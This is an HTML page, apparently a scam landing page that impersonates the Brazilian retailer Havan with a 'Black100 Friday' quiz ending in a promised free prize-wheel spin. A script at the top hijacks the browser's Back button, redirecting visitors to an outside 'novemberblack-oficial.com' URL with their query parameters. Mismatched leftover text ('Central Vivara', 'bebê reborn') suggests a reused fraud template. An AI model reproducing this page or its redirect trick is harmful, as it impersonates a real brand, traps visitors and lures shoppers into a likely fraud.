
<!DOCTYPE html><html lang="pt-br"><head><script
  src="https://cdn.utmify.com.br/scripts/utms/latest.js"
  data-utmify-prevent-subids
  async
  defer
></script>

<script>
    var urlBackRedirect = 'http://novemberblack-oficial.com/quiz/back/'; // lembre-se de usar a url sem espaços
    // não altere nada abaixo dessa linha
    urlBackRedirect = urlBackRedirect = urlBackRedirect.trim() +
            (urlBackRedirect.indexOf("?") > 0 ? '&' : '?') +
            document.location.search.replace('?', '').toString();
    history.pushState({}, "", location.href);
    history.pushState({}, "", location.href);
    window.onpopstate = function () {
        setTimeout(function () {
            location.href = urlBackRedirect;
        }, 1);
    };
</script>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">
    <link rel="stylesheet" href="css/styles.css">
    <link rel="stylesheet" href="css/fonts.css">

    <link rel="icon" href="images/logo5.webp" type="image/x-icon">
    <link rel="apple-touch-icon" sizes="180x180" href="https://produtosdablack.shop/images/favico.jpg">

    <link rel="stylesheet" href="css2@family=Material+Symbols+Outlined%253Aopsz,wght,FILL,GRAD@20..48,100..700,0..1,-50..200.html">
    <title>Black100 Havan</title>
    <script src="scripts/utms/latest.js" data-utmify-prevent-subids="" data-utmify-fast-start="" async="" defer=""></script>


</head>
<body>




    <nav class="navbar" style="padding-top: 15px; margin-bottom: 5px; display: flex; align-items: center; justify-content: space-between; background-color: black;">
    <div class="menu-icon" style="padding-left: 3%;">
        <img src="images/logo5.webp" style="height: 5vh;" alt="Logo Central Vivara">
    </div>

    <div class="logo-central">
        <img src="images/black1.webp" alt="Black Friday Campeã" style="height: 5.89vh;"> <!-- Diminuído em 20% -->
    </div>

    <div class="menu-icon" style="padding-right: 3%;">
        <span class="material-symbols-outlined" style="font-size: 30px; padding-right: 10px; color: white"><svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" fill="currentColor" class="bi bi-list" viewBox="0 0 16 16">
            <path fill-rule="evenodd" d="M2.5 12a.5.5 0 0 1 .5-.5h10a.5.5 0 0 1 0 1H3a.5.5 0 0 1-.5-.5m0-4a.5.5 0 0 1 .5-.5h10a.5.5 0 0 1 0 1H3a.5.5 0 0 1-.5-.5m0-4a.5.5 0 0 1 .5-.5h10a.5.5 0 0 1 0 1H3a.5.5 0 0 1-.5-.5"/>
          </svg></span>
    </div>
</nav>

    

    <div class="pergunta"> 

        <!--------------------- Barra de progresso --------------------->

        <div style="padding-bottom: 20px;"></div>

        <div id="respondaeganhe" class="respondaeganhe">
            <p style="font-family: 'GellixSemiBold';">Responda e ganhe!</p>
        </div>

        <div id="barradeprogresso" class="container" style="padding-bottom: 5px;">
            <div class="progress-bar-container">
                <div class="progress-bar">
                    <div class="progress" id="progress" style="width: 16.6667%;"></div>
                </div>
                <div class="progress-text" id="progress-text">17 %</div>
            </div>
        </div>


        <!--------------------- Pergunta 1 --------------------->

        <div id="p1">
    <img src="images/IMG2.webp" style="width: 90%; display: flex; margin: 0 auto; border-radius: 15px;">
    <p class="pergunta_title">Como você avaliaria a experiência de compra na Havan, seja em nossas lojas físicas ou em nosso site?</p>
    <ul class="quiz-options">
        <li><button>Muito fácil</button></li>
        <li><button>Fácil</button></li>
        <li><button>Moderadamente fácil</button></li>
        <li><button>Difícil</button></li>
    </ul>
</div>

        <!--------------------- Pergunta 2 --------------------->

        <div id="p2" style="display: none">
    <img src="images/h10.webp" style="width: 90%; display: flex; margin: 0 auto; border-radius: 15px;">
    <p class="pergunta_title">Qual é sua opinião sobre a variedade de produtos disponíveis na Havan?</p>
    <ul class="quiz-options">
        <li><button>Excelentes</button></li>
        <li><button>Boa</button></li>
        <li><button>Aceitavel</button></li>
        <li><button>Insatisfatória</button></li>
    </ul>
</div>


        <!--------------------- Pergunta 3 --------------------->

        <div id="p3" style="display: none">
    <img src="images/h11.webp" style="width: 90%; display: flex; margin: 0 auto; border-radius: 15px;">
    <p class="pergunta_title">Como você classificaria a eficiência da entrega dos produtos comprados na Havan?</p>
    <ul class="quiz-options">
        <li><button>Rápido</button></li>
        <li><button>Aceitável</button></li>
        <li><button>Lenta</button></li>
        <li><button>So compro na Loja</button></li>
    </ul>
</div>


        <!--------------------- Pergunta 4 --------------------->

        <div id="p4" style="display: none">
    <img src="images/h12.webp" style="width: 90%; display: flex; margin: 0 auto; border-radius: 15px;">
    <p class="pergunta_title">Em relação ao atendimento ao cliente da Havan, como você descreveria?</p>
    <ul class="quiz-options">
        <li><button>Excelente</button></li>
        <li><button>Bom</button></li>
        <li><button>Regular</button></li>
        <li><button>Insatisfatório</button></li>
    </ul>
</div>

        <!--------------------- Pergunta 5 --------------------->

        <div id="p5" style="display: none">
    <img src="images/h13.webp" style="width: 90%; display: flex; margin: 0 auto; border-radius: 15px;">
    <p class="pergunta_title">Por onde você conheceu as Lojas Havan?</p>
    <ul class="quiz-options">
        <li><button>Pelo instagram</button></li>
        <li><button>Pelo tiktok</button></li>
        <li><button>Pelo Facebook</button></li>
        <li><button>Minha cidade</button></li>
    </ul>
</div>


        <!--------------------- Receber de Graça --------------------->

        <div id="p6" style="display: none">
        <div class="respondaeganhe">
            <p style="font-family: 'GellixSemiBold';">Parabéns!</p>
        </div>

          <img src="images/f45.webp" style="width: 90%; display: flex; margin: 0 auto; border-radius: 15px;">
          

          <p style="padding: 25px;">
            Como forma de agradecimento, você ganhou <strong>um acesso grátis a nossa promoção "BLACK100 Friday da Havan" podendo escolher rodar 2 vezes nossa roleta, aproveite!</strong>

            <br><br>
            Esperamos que você aproveite ao máximo a sua bebê reborn e que eles tragam ainda mais diversão para você e sua família.
            <br><br>
            Com carinho,<br>
            Do Veio da Havan! 
          </p>
      </div>





        <!--------------------- Botão de seguir --------------------->
    
        <div class="question-container">
                <div class="question" id="question1" style="display:none;"></div>
                <div class="question" id="question2" style="display:none;"></div>
                <div class="question" id="question3" style="display:none;"></div>
                <div class="question" id="question4" style="display:none;"></div>
                <div class="question" id="question5" style="display:none;"></div>
                <div class="question" id="question6" style="display:none;"></div>
        </div>

        <div style="padding-bottom: 10px;"></div>
    
        <button class="next-button" id="next-button" onclick="nextQuestion()">Próximo</button>
        
        <div style="padding-bottom: 20px;"></div>

        
    </div>

    


    <script src="js/scripts.js"></script>




    <script>
        document.querySelectorAll('.quiz-options button').forEach(button => {
            button.addEventListener('click', () => {
                document.querySelectorAll('.quiz-options button').forEach(btn => btn.style.borderColor = '#ccc');
                button.style.borderColor = '#0d3bdd';
                button.style.backgroundColor = '#DBE2FF';
            });
        });
    </script>




</body></html>